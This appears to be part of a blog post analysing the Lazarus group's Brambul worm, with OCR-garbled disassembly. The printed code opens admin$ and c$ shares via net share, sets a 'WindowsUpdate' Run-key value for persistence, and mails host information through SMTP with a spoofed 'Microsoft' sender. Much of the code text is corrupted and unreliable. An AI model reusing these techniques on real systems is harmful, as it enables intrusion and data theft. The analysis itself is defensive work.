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Analysis

Continued from [Malware] Lazarus group’s Brambul worm of the former Wannacry - 1

Second routine

As soon as the second routine starts, three subroutines are called: sub_401ba0, sub_401b30, and sub_401040.
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[l s =
loc 4B276D:
test edx, eax
jnz loc_ 4B28B5
-
call sub_4@1BAa
call sub_4B1B308
threadexz||call sub_481848
mou edi, offset aSubject ; "Subject: *
or ecx, BFFFFFFFFh
X0r eax, eax
1lea edx, [esp+5ABh+Buffer]
repne scasb
not eCH
sub edi, ecx
mov eax, ecx
moy esi, edi
mow edi, edx
lea edx, [esp+5ABh+Buffer]
shr ecx, 2
rep movsd
mou eCcx, eax
X0r eax, Pax
and eCX, 3
rep moush
moy edi, offset Dest
or ecx, BFFFFFFFFh
repne scash
not eCcx
sub edi, ecx
mow esi, edi
mouv ebx, ecx
mow edi, edx
or ecx, BFFFFFFFFh
repne scash
mouw ecx, ebx
dec edi
shr ecx, 2
rep movsd
mou ecx, ebx
and ecx, 3
rep moush
call ds:GetUersion
mou [esp+5ABh+pcbhbBuffer], eax
and edax, BFFFFh
cCmp eax, 6
ig short loc 482817

sub_401ba0
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Create the Isasvc.exe file and run the process. Afterwards, access the shared folder as admin like the first routine.

call ds:GetSystemDirectoryn

mou edi, offset alsasvc exe ; "“Wlsasuc.exe'
ot ecx, BFFFFFFFFh

Xor eax, eax

lea edx, [esp+174h+Buffer]

repne scash

not eCH

sub edi, ecx

push ebx ; hTemplateFile

mou esi, edi

mou ebp, ecx

mou edi, edx

or ecx, OBFFFFFFFFh

repne scash

mou ecx, ebp

dec edi

chr ecx, 2

rep movsd

push L ; dwFlagsAndAttributes
mov ecx, ebp

push 2 ; dwCreationDisposition
push ebx ; lpSecurityfAttributes
and ecx, 3

push 2 ; dushareMode

lea eax, [esp+18Bh+Buffer]

push LAdBsoAaah ; dubDesiredAccess

rep moush

push eax ; 1pFileMame

call ds:CreateFilen

mou esi, eax

cCmp esi, BFFFFFFFFh

jz loc_ 481DFB

:

mou edx, [esp+174h+1pBuffer]

mou ebp, ds:UriteFile

lea ecx, [esp+174h+Humber0fByteslritten]
push ebx ; lpOverlapped

push eCx ; lpHumberOfBytesWritten
push Laa8h ; NHumberDfBytesTollrite
push edx : lpBuffer

push esi ; hFile

call ebp ; WriteFile

mouv edi, [esp+i174h+var 168]

mow [esp+174h+1pBuffer], 11h

: w5
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W=

loc 4B1D59: : "cmd.exe fc \'net share admin$ Fdy
mou edi, offset aCmd exeCHet3ha

or ecx, BFFFFFFFFh

E{ily eax, eax

1lea edx, [esp+174h+Buffer]

rFepne scash

not ecx

sub edi, ecx

mou eax, ecx

mow esi, edi

mow edi, edx

1ea edx, [esp+174h+Startuplinfo]

shr ecx, 2

rFep mousd

moy ecx, eax

1lea eax, [esp+174h+Buffer]

and ecx, 3

rep movsh

1lea ecx, [esp+i174h+ProcessInformation]
push eCcx ; 1pProcessInformation
push edx » 1pstartuplInfo

push ebx ; 1pCurrentDirectory
push ebx ; 1lpEnvironment

push 800080006h ; duCreationFlags
push ebx : bInheritHandles
push ebhx ; 1lpThreadattributes
push ebx : 1pProcessattributes
push eax ; lpCommandLine

push ebx : lpApplicationHame
call ebp ; CreateProcessh

test edx, eax

jz short loc 481DAA

ecx, [esp+174h+ProcessInformation.hProcess]

eCx ; hObject
ds:CloseHandle
.
loc_481DAA: : "cmd.exe fc \'net share c$ Jdy"
mov edi, offset aCmd exeCHetS 8

sub_401b30

By adding a value named “WindowsUpdate” to the registry “Software \ Microsoft \ Windows \ CurrentVersion \

Run” path, the process will automatically run each time the computer is turned on.
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sub esp, 34h
mowv ecx, BBh
lea eax, [esp+34h+phkResult]
push esi
push edi
mov esi, offset aSoftwareMicros ; "SOFTWAREY:ZHicrosoftyiwWindowsyiCurrentlUe™ ...
lea edi, [esp+3Ch+SubKey]
rep movsd
push eax s phkResult
push 3 ; sambDesired
lea ecx, [esp+ilth+3ubKey]
push 8 ; uldptions
push ecx ; 1pSubKey
push 808808008082h s hKey
movsy
call ds:RegOpenKeyExA
pop edi
pop esi
test eax, eax
jnz short loc_481B97
:
push offset Filename ; 1lpString
call ds:lstrlenn
mou edx, [esp+34h+phkResult]
inc eax
push eax ; cbhDhata
push offset Filename ; lpData
push 1 ; duType
push a ; Reserved
push offset ValueMame ; “Windows Update”
push edx ; hKey
call ds:RegSetUalueE=n
mow eax, [esp+34h+phkResult]
push eax ; hKey
call ds:RegCloseKel
& I
FIEE]
loc_481B97:
add esp, 34h
retn
sub_481B38 endp
sub_401040

Similar to what it did at the beginning of the program run, the gethostname function gets the user’s name.
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if { gethostname(&name, 268) )

{
result = 8;
¥
else
1
ul = gethostbyname{&name} ;
uZ2 = ul;
ifF ( vl )
{
vi = vil->h_addr_1list;
if ( =03 )
1
ul = B;
do
1
if { strlen{Dest) >= B2F4 )
break;
sprintf(
ui,
Format,
{unsigned  int8)=xu3[ul],
{unsigned  int8)u3[vi][1],
{unsigned  int8)v3a[vi][2],
{unsigned  int8)u3[vh][3]);
vl = v2->h_addr_1list;
++0Ul;
vl = &Dest[strlen{Dest)];
b
while { vi[ui] J);
i
¥
result = 1;
b

return resuoll;

After the three subroutines are executed, the GetVersion function is used to get the version of the operating
system. I could see that it was classified as “WinNt”, “Win2000”, “WinVista”, “Win2003”, “WinXp”, and

“Unkonwn”.
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R EEE—T call ds:GetUersion Y
T nou [esp+5ABh+pcbBuffer], eax
sub eax, 4 and eax, OFFFFh
iz short loc_4828681 cmp eax, 6
ig short loc_u62817
]
dec eax Pi= k\‘ eax, 265h
jnz short loc_402825) jz short loc_402838|
loc_L4B28E5:
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 594h|
retn 16h
|_WinMain@16 endp
¥ (X1 ¥
= = P =
lea edx, [esp+5ABh+Buffer]
mouv edi, offset aWin2060 ; "Win2006"|loc_406280C: loc_4082825: loc_402830:
fer] jmp short loc_482844 lea edx, [esp+5ABh+Buffer] lea edx, [esp+5ABh+Buffer] lea edx, [esp+5ABh+Buffer]
3 “WinNt| nou edi, offset aWinvista ; "WinUista“||mou edi, offset aUnkown ; “Unkoun®||mov edi, offset aWin2083 ; "Win2003"|
jmp short loc_462844 jmp short loc_462844 imp short loc_402844
- TrlrE; - !
el
loc_402844:
or ecx, OFFFFFFFFh
xor eax, eax
repne scash
not ecx
sub edi, ecx
push offset aWhiat1881@amai : “'whiat1061@amail.con’

After that, it push the string whiat1001@gmail.com onto the stack and call the sub_401430 subroutine to send the
data using the SMTP protocol. The sending account and mail server are the same as whiat1001 and gmail.com, but
after pretending the sender account to johnS203@yahoo.com, the process ends. In sub_401430 we could see the

strings related to SMTP and mail headers.

.data:B884683B4 aFromMicrosoftP db ‘From: “Hicrosoft” <{provider@microsoft.com>’,B8Dh,BAh,8

.data:0e4683684 ; DATA XREF: sub_46143@8+47D%0
.data:8084883E1 align 4

.data:B884883E4 aData dbh 'DATA' ,8Dh,B8AN0,0 ; DATA XREF: 5uh_hﬂ1h3ﬂ+3EFTn
.data:884883EB align 4

.data:B840883EC aRcptTo db *RCPT TO:=<",8 ; DATA XREF: 5uh_hﬂ1h3ﬂ+2DETn
-data:BB4B83F6 align 4

.data:B004683F8 aMailFrom db *HAIL FROM:<',8 ; DATA XREF: sub_401438+19D%0
.data:Boe4e84084 asc_ 488484 db *>',00h, 040,80 ; DATA XREF: sub 48143@+186%0
.data: 084088404 ; sub_4@1438+1ECTo ...
.data:B8840884088 aHelo db *HELOD <*,@ ; DATA XREF: 5uh_hﬂ1h3ﬂ+Bng
.data:0840840F align 18h

.data:B8684088418 ; char a2@9_85_ 223 33[]

.data:oe408416 a2e9_85_223 33 db '209.85.223.33",0 ; DATA XREF: sub_401430+7ato
.data:0848841E align 18h

.data:@684088428 ; char a2@9 85 218 24[]

.data:Boea4084208 a289_85_ 216 24 db "209.85.210.24",0 ; DATA XREF: sub_yoi43@+64To
.data:8848842E align 18h

.data:B684088438 ; char a2e9_85_223 27[]

.data:B068408430 a289_85_ 223 27 db '289.85.223.27",0 ; DATA XREF: sub_4oi43@+4ETo
.data:8p04B843E align 18h

Behavior result

—_

. SMB, IPC ,SCM Database access attempt with random IPs for self-copy and distribution

N

. Send mail using the SMTP protocol, pretending whiat1001@gmail.com as
johnS203@yahoo.com

. Access shared folder as admin

. Create the Windows Genuine Logon Manager (wglmgr) service

. Create the Microsoft Windows Genuine Updater (wgudtr) service

. Create crss.exe executable

. Create and run Isasvc.exe

NN Y Ul B~ W

. Add “WindowsUpdate” Value to the registry “Software \ Microsoft \ Windows \ CurrentVersion \
Run” path
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